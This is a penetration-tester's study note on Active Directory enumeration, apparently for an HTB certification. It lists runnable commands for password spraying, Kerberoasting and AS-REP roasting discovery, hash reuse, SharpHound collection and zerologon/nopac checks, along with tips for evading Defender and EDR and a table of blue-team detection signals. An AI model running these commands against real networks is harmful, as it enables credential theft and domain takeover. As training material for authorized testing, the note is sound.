🧭 AD Methodology & Host-Based Enumeration (the engagement arc)
Everything in this stage is one iterative loop, not a linear checklist. The module’s own arc: passive external recon → active internal discovery → get one identity → credentialed enumeration → attack → and every new credential drops me back into enumeration with a bigger authenticated view. 4.1–4.5 are the tools; this is the order I actually think in, and what to run once I’m not on the wire anymore but standing on a Windows host. Deep dives: 1 - Introduction, Methodology & External Recon · 2 - Initial Enumeration of the Domain.
[!note] The whole point of enumeration I don’t enumerate to fill a report — I enumerate to answer one question: what does my current level of access unlock that my last level didn’t? Log the answer (host, cred, edge, timestamp) the moment I find it, because that log is the attack path and the report evidence.
The credential-state ladder — “where am I, what mints the next cred?”
Four states. Each one has a different toolset and a different way to climb. I always know which rung I’m on:
| Rung | I have… | Enumerate with | What mints the next cred |
|---|---|---|---|
| 0 · No creds on the wire | a network position only | 4.1 null/guest SMB+LDAP, --rid-brute, Kerbrute userenum, anon LDAP namingContexts | Responder/LLMNR poison → NetNTLMv2 → crack (Stage LLMNR); pre2k; or a spray hit |
| 1 · Cracked/sprayed low-priv user | one valid $U:$P | 4.2 validate everywhere → 4.3 vacuum SMB+LDAP → 4.5 BloodHound | spray that pw across the userlist; roast; read description/info; ACL edge |
| 2 · Credentialed + graphed | validated cred + BloodHound graph | the spray→enum loop below; 4.4 LDAP tooling; LAPS/gMSA reads | an owned edge (Stage 6), a roast crack (Stage 5), a share cred (Stage 8) |
| 3 · SYSTEM on a domain-joined host | a shell as NT AUTHORITY\SYSTEM | host-based / living-off-the-land recon (below) | the machine account authenticates as a domain principal — dump secrets, run SharpHound with session data |
[!tip] SYSTEM on a member server ≈ a domain user Once I hit
NT AUTHORITY\SYSTEMon any domain-joined box (Stage 9 privesc got me there), the host’s machine account can query the directory exactly like a user cred — so I run every host-based query below without needing a user’s password. Grab it:nxc smb $IP -u "$U" -p "$P"showingPwn3d!, or aSeImpersonate→ PrintSpoofer chain on a service account, is the fastest jump from rung 1 to rung 3. This is the exact pivot the capstone walks: DNN →mssql$sqlexpress→ SYSTEM → local SAM/LSA → first domain credhporter(6 - Post-Exploitation Persistence & Internal Enumeration).
Host-based recon — living off the land (from a Windows foothold)
What to look for: the domain, its groups, trusts, SPNs, delegation and where my token is already local admin — using only binaries already on the box. This is the fallback baseline when the host is a locked-down managed workstation/VDI: no internet, file transfer blocked, AppLocker + Defender in blocking mode. Native tooling introduces zero new attack surface and is rarely flagged. Full walk: 9 - Living Off the Land.
Enumerate — situational awareness first (run on every fresh shell, Win or Nix):
whoami /all # my SID, groups, privileges (SeImpersonate? SeBackup?)
Get-ChildItem Env: | ft key,value
Get-ExecutionPolicy -List
netsh advfirewall show allprofiles
Get-MpComputerStatus # is Defender real-time on / blocking?
qwinsta # other interactive sessions = creds to steal
arp -a ; route print # what other subnets does this host see? (pivot candidates)
Enumerate — net.exe / dsquery / CIM (always present, no module drop):
net accounts /domain :: password + lockout policy (spray safely)
net group /domain :: all domain groups
net group "Domain Admins" /domain :: DA membership
net localgroup administrators :: local admins on THIS box
net user /domain <user> :: full attrs for one user
net view /domain & net group "Domain Computers" /domain
:: dsquery = raw LDAP filters with zero external tooling (RSAT / DC only)
dsquery user & dsquery computer
dsquery * -filter "(&(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=2))" :: enabled users only
dsquery * "CN=Users,DC=<dom>,DC=<tld>" -scope subtree
setspn.exe -T $DOMAIN -Q */* :: native SPN discovery → hand off to Stage 5 roast
# wmic is deprecated (gone in Win11 24H2+/recent Server) — use CIM
Get-CimInstance -ClassName Win32_QuickFixEngineering # installed patches → missing-KB triage
Get-CimInstance -ClassName Win32_UserAccount
Enumerate — native AD PowerShell module (RSAT, no binary dropped):
Import-Module ActiveDirectory
Get-ADDomain
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName # kerberoastable, no PowerView
Get-ADTrust -Filter * # trusts to other domains/forests
Get-ADGroupMember -Identity "Backup Operators" # dangerous groups
Enumerate — PowerView / SharpView (the offensive workhorse when I can drop it):
[!tools] Stage this — PowerView + SharpView PowerView.ps1 (SHA-256 · GPG signature) SharpView.exe (SHA-256 · GPG signature) Sources: PowerSploit PowerView (
Recon/PowerView.ps1) and SharpView — a C# port of PowerView with the same cmdlet names/args. When AMSI/Defender signatures block the.ps1import, the.exevariant (orexecute-assemblyin-memory) usually still lands.
Import-Module .\PowerView.ps1
Get-Domain ; Get-DomainController ; Get-DomainPolicy
Get-DomainUser -Identity $U -Domain $DOMAIN | select samaccountname,memberof,description,info
Get-DomainUser -Properties samaccountname,description,info | ? {$_.description -or $_.info} # creds hide here
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname # kerberoastable
Get-DomainUser -PreauthNotRequired # AS-REP roastable
Get-DomainComputer -Unconstrained ; Get-DomainUser -TrustedToAuth # delegation
Get-DomainTrustMapping # walk EVERY reachable trust (cross-forest)
Find-DomainShare -CheckShareAccess # shares my token can read
Find-LocalAdminAccess ; Test-AdminAccess -ComputerName <host> # where am I already local admin (quiet)
# SharpView = the .NET port when AMSI/Defender is tuned to PowerView's PS signatures:
.\SharpView.exe Get-DomainUser -Identity $U
PowerView one-liner reference — the dozen that answer 90% of questions:
| Question | One-liner |
|---|---|
| Where am I? | Get-Domain ; Get-DomainController |
| Password/lockout policy | Get-DomainPolicy | select -ExpandProperty SystemAccess |
| Kerberoastable users | Get-DomainUser -SPN |
| AS-REP roastable users | Get-DomainUser -PreauthNotRequired |
| Creds in description/info | Get-DomainUser -Properties description,info | ? {$_.description -or $_.info} |
| DA membership (nested) | Get-DomainGroupMember "Domain Admins" -Recurse |
| Unconstrained delegation | Get-DomainComputer -Unconstrained |
| Constrained delegation | Get-DomainUser -TrustedToAuth ; Get-DomainComputer -TrustedToAuth |
Where is <user> logged on? | Find-DomainUserLocation -UserName <user> |
| Where am I local admin? | Find-LocalAdminAccess |
| Readable shares | Find-DomainShare -CheckShareAccess |
| All trusts, walked | Get-DomainTrustMapping |
| ACLs on a target object | Get-DomainObjectAcl -Identity <target> -ResolveGUIDs |
| GPOs touching a host/OU | Get-DomainGPO -ComputerIdentity <host> |
[!warning] Watch out
net.exerecon,PowerView.ps1andSnaffler.exeare all signatured — EDR flags them specifically because of their recon history. On a Defender-blocking host: usedsquery/ nativenet/ the AD module for the same data, and preferexecute-assembly(in-memory) over droppingSharpView.exe/SharpHound.exe. See 9 - Living Off the Land.- PowerView’s
description/infohunt is the same gold as the LDAP one in 4.4 — plaintext passwords live in those attributes constantly. Always pull both.- GPP
cpasswordin SYSVOL (findstr /S /I cpassword \\$DOMAIN\SYSVOL\*.xml) is host-readable by any domain user — but the decrypt + full method lives in Stage 8, don’t re-run it here.
SharpHound from the host — collection-method picker
4.5 already has the base .\SharpHound.exe -c All / -c DCOnly / -c Session --Loop invocations and the CE-vs-legacy trap. What matters on a host is which methods to run and how loud each is — pick per objective, don’t reflexively -c All:
| Objective | Collection method | Noise |
|---|---|---|
| Fast, LDAP-only first pass | -c DCOnly | quiet — no host touches |
| Full graph incl. local admin + sessions | -c All | loud — SMB to every computer |
| Just who’s admin where | -c LocalAdmin,RDP,DCOM,PSRemote | medium |
| Session hunting for a priv account | -c Session --Loop --Loopduration 02:00:00 | medium, over time |
| ACLs / group / trusts only | -c ACL,Group,Trusts,ObjectProps,Container | quiet-ish |
# scope + stealth knobs worth knowing (base command + CE/legacy notes are in 4.5)
.\SharpHound.exe -c DCOnly --stealth --zipfilename dconly # least-touch recon pass
.\SharpHound.exe -c All --ldapfilter "(samaccountname=svc*)" # narrow the LDAP query
.\SharpHound.exe -c All --excludedcs # skip DC enumeration if it's tripping alarms
[!note] The rung-3 payoff for SharpHound Run
-c Session/-c Allafter I’m SYSTEM/local-admin somewhere — that’s when session and local-group edges actually populate, and those are the edges BloodHound turns into lateral movement. ADCOnlygraph collected at rung 1 has no session data. Collector cheat: SharpHound_Cheatsheet.
The credentialed spray → enumerate loop
What to look for: password reuse. One working cred is a seed, not an endpoint — I spray it (or one seasonal password) across the whole validated userlist, and every fresh hit is a new context to re-enumerate (new group memberships, new readable shares, new ACL edges, maybe a ReadLAPS/ReadGMSA right). 4.3 has the base nxc spray line; the loop discipline and the safety math are the net-new here. Full method: 5 - Password Spraying & Password Policies.
Enumerate — prune the target list before spraying:
# badPwdCount tells me who's already near lockout — exclude them or I do the client's DoS for them
nxc smb $DC -u "$U" -p "$P" --users # shows badPwdCount per user
# pull the policy FIRST (unauth or cred'd) — lockout threshold + observation window set my rate
nxc smb $DC -u "$U" -p "$P" --pass-pol
Attack — spray, then loop:
# 1) spray one password across the pruned list (respect the policy, --continue-on-success, jitter)
nxc smb $IP -u users.txt -p 'Welcome2024!' --continue-on-success --no-bruteforce --jitter 2 | grep '[+]'
# 2) local-admin password/hash REUSE across the subnet — --local-auth is MANDATORY
# (a domain logon here would lock the real domain Administrator; --local-auth hits the SAM account)
nxc smb $IP/23 -u administrator -H "$HASH" --local-auth | grep 'Pwn3d!'
# 3) for each NEW hit -> jump straight back to 4.2/4.3/4.5 as that user:
# nxc smb/ldap/winrm validate -> vacuum users/groups/shares -> BloodHound mark-owned -> re-path to DA
# From a Windows foothold: DomainPasswordSpray is domain-aware — auto-builds the userlist from AD,
# reads the REAL lockout policy, and drops any account within one attempt of locking.
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_hits -ErrorAction SilentlyContinue
[!warning] Watch out — spraying is where engagements go wrong
userenumnever locks; spraying does. Pull--pass-polfirst, stay a comfortable margin under the lockout threshold per observation window, and log every account/password/DC/timestamp. On a lockout threshold of 5 / 30-min window: one attempt per account per ~40 min with a safety buffer, never a tight loop.--local-authis non-negotiable for local-admin reuse — forget it and you lock the domainAdministratordomain-wide.
Attacking Enterprise Networks — the full engagement arc (capstone recap)
The capstone stitches all 27 modules into one continuous network, and it’s the mental map for how this whole playbook fits together. A phase is a question, not a tool — intel gathering asks what exists, vuln analysis asks which weakness is plausible, exploitation asks can I prove it with minimal impact, post-ex asks what does that access reach. The arc, mapped to this guide’s stages:
External OSINT ─► Web/Service foothold ─► Pivot into internal ─► Internal + AD enum ─► Lateral/AD compromise ─► Pillage ─► Report
(Stage 1-2) (Stage 2-3) (Stage 10) (THIS Stage 4) (Stage 5-7,9) (Stage 8) (evidence)
| PTES phase | Practical question | This guide |
|---|---|---|
| Intelligence gathering | what assets/identities exist? | Stage 1 recon, 4.1 unauth enum |
| Vulnerability analysis | which condition yields access? | 4.3–4.5 credentialed enum + BloodHound |
| Exploitation | prove one boundary crossing | Stages 5–7 (Kerberos, ACL, ADCS), 9 privesc |
| Post-exploitation | what does this reach? | host-based recon (above), Stage 10 lateral/pivot |
| Reporting | why did the chain work, how to fix | evidence log, findings-vs-chain |
[!tip] The Rolodex mindset Real engagements force constant switching — web → network → AD → privesc → pillage → pivot → back to enum. When stuck, I don’t tool-spam: I return to scope → what I can see → what I can’t see → next lowest-noise action. A single finding is one failed control; an attack path chains findings across time (exposed app → RCE → dual-homed host → domain cred → ACL abuse → replication rights) and that chain is what carries the business-impact severity. Track creds/hosts/edges in one place (BloodHound graph + a notes table). Capstone driver’s-seat method: 1 - Intro to Attacking Enterprise Networks · toolkit index AD_Pentest_Tools_Cheat_Sheet · share-loot automation Snaffler.
🔎 Raw LDAP Query Cookbook (filters that find the win)
BloodHound is the map, but a raw LDAP filter finds a specific win in one query — and works when you can’t run a collector. The key is the bitwise matching-rule OID on userAccountControl. Deep dives: Active Directory LDAP - Cheatsheet · LDAP Search.
Matching-rule OIDs
1.2.840.113556.1.4.803 BIT_AND single-flag test (bitwise AND) ← the one you use
1.2.840.113556.1.4.804 BIT_OR any-flag test
1.2.840.113556.1.4.1941 IN_CHAIN walk nested group ancestry
UAC flag values (plug into ...803:=<value>): PASSWD_NOTREQD 32 · TRUSTED_FOR_DELEGATION 524288 (unconstrained) · DONT_EXPIRE_PASSWORD 65536 · DONT_REQ_PREAUTH 4194304 (AS-REP-roastable) · DCs 8192.
The high-value filters (-b = base DN DC=domain,DC=htb)
B="dc=${DOMAIN%%.*},dc=${DOMAIN#*.}"
# AS-REP roastable (no preauth)
ldapsearch -x -H ldap://$IP -D "$U@$DOMAIN" -w "$P" -b "$B" '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' sAMAccountName
# Kerberoastable (has SPN, not a machine)
ldapsearch -x -H ldap://$IP -D "$U@$DOMAIN" -w "$P" -b "$B" '(&(servicePrincipalName=*)(!(objectClass=computer)))' sAMAccountName servicePrincipalName
# Unconstrained delegation | Constrained (has AllowedToDelegateTo)
ldapsearch ... '(userAccountControl:1.2.840.113556.1.4.803:=524288)' sAMAccountName
ldapsearch ... '(msDS-AllowedToDelegateTo=*)' sAMAccountName msDS-AllowedToDelegateTo
# Password-not-required | adminCount=1 (protected/priv) | passwords hidden in description
ldapsearch ... '(userAccountControl:1.2.840.113556.1.4.803:=32)' sAMAccountName
ldapsearch ... '(adminCount=1)' sAMAccountName
ldapsearch ... '(&(objectCategory=user)(description=*))' sAMAccountName description
# MachineAccountQuota (can I add a computer for RBCD?) | nested membership of a DN
ldapsearch -x -H ldap://$IP -D "$U@$DOMAIN" -w "$P" -b "$B" -s base ms-DS-MachineAccountQuota
ldapsearch ... '(member:1.2.840.113556.1.4.1941:=<userDN>)' sAMAccountName
Same results via the modern all-rounders
nxc ldap $DC -u "$U" -p "$P" --kerberoasting kerb.txt --asreproast asrep.txt
nxc ldap $DC -u "$U" -p "$P" --trusted-for-delegation --password-not-required
windapsearch.py --dc-ip $IP -d "$DOMAIN" -u "$DOMAIN\\$U" -p "$P" --da --unconstrained-users
ldapsearch-ad.py -l $IP -d "$DOMAIN" -u "$U" -p "$P" -t kerberoast # also -t asreproast / pass-pols / info
[!tip] Escaping in filters:
*→\2a(→\28)→\29\→\5c. On a Windows foothold the PowerShell equivalent isGet-ADObject -LDAPFilter '(...)'(same OID syntax) orGet-ADUser -Filter {DoesNotRequirePreAuth -eq $true}. From a non-domain Linux box you can still drive PowerShell tooling withrunas /netonly.
[!note] Trusts found? Different stage A
(objectClass=trustedDomain)hit orGet-ADTrust -Filter *result means the enumeration surface just doubled — but cross-forest attacks (SID filtering, trust tickets,raiseChild.py) are their own discipline: 14 - Domain Trusts and Cross-Forest. Here I only record the trust (direction, type, transitivity) and keep enumerating the local domain.
✅ Stage-04 quick-wins checklist (run in order, every new identity)
| # | Check | Command | If it hits |
|---|---|---|---|
| 1 | Anon LDAP / null SMB | nxc smb $IP -u '' -p '' --users --shares | free user list / share loot |
| 2 | RID brute | nxc smb $IP -u '' -p '' --rid-brute | full user list |
| 3 | AS-REP roast (no creds) | GetNPUsers.py "$DOMAIN"/ -no-pass -usersfile users.txt -dc-ip $IP | crack → Stage 05 |
| 4 | pre2k machine accounts | nxc ldap $DC -u '' -p '' -M pre2k | free machine cred |
| 5 | Password policy | nxc smb $IP -u "$U" -p "$P" --pass-pol | sets spray math |
| 6 | Descriptions/info fields | nxc ldap $DC -u "$U" -p "$P" -M get-desc-users | free creds |
| 7 | Kerberoast sweep | nxc ldap $DC -u "$U" -p "$P" --kerberoasting kerb.txt | crack → Stage 05 |
| 8 | LAPS read | nxc ldap $DC -u "$U" -p "$P" -M laps | local admin |
| 9 | gMSA read | python3 gMSADumper.py -u "$U" -p "$P" -d "$DOMAIN" -l $DC | service NT hash |
| 10 | Shares + content | --shares → -M spider_plus → Snaffler | cred files → Stage 08 |
| 11 | BloodHound collect | bloodhound-ce-python -c All --zip | the path map |
| 12 | DC one-shot CVEs | nxc smb $DC -M zerologon / -M nopac | instant DA |
[!tip] CPTS reality check On exam boxes the intended path is almost always visible after items 1–11 — the box author planted one of: a description-field password, a roastable account, a share with creds, a LAPS/gMSA read, or a single ACL edge. If none of the 12 hit, the missing piece is almost always a cred I already have but haven’t re-enumerated as (go back to the doctrine in 4.2).
🛡️ OPSEC & detection — what the blue team sees
[!danger] Enumeration is the loudest phase — assume every query is logged
Signal I generate Detection / Event ID Mitigation Mass LDAP queries (PowerView -SPN, full dumps)Event 1644 (expensive/inefficient LDAP query logging, when enabled); ATA/MDI “reconnaissance” alerts Query surgically; one filter per question; avoid (objectClass=*)full dumps; throttlekerbrute userenum Burst of 4768 AS-REQs (success+failure) from one source Small curated lists, low threads, jitter Password spray 4771 failures clustered in the observation window; 4625 via NTLM path Stay under threshold; --jitter; log my own attemptsSharpHound -c AllSMB/RPC fan-out to every host; session-enum signatures; EDR flags collector binary by hash/name DCOnlyfirst; rename binary;execute-assembly;--stealthSnaffler Massive SMB file-read volume; honey-share touches Scope -i; verify shares aren’t baitHoneypot accounts A too-perfect svc_backupwith a weak password +adminCount=1that never logs on = tripwire; any auth attempt alertsCross-check lastLogon/pwdLastSetbefore using “free” creds; a roastable account with an ancient password and no logons is bait until proven otherwiseRules of thumb: enumerate with the least privilege and fewest protocols that answer the question; prefer one good LDAP filter over ten scans; and keep my own timestamps — if the client calls about an alert, I want to answer “yes, that was me, 14:03–14:11 UTC” in one breath.
[!navigation] Continue the attack flow Previous: Stage 03 — Service Enumeration
Dashboard: HTB Pentest Attack Flow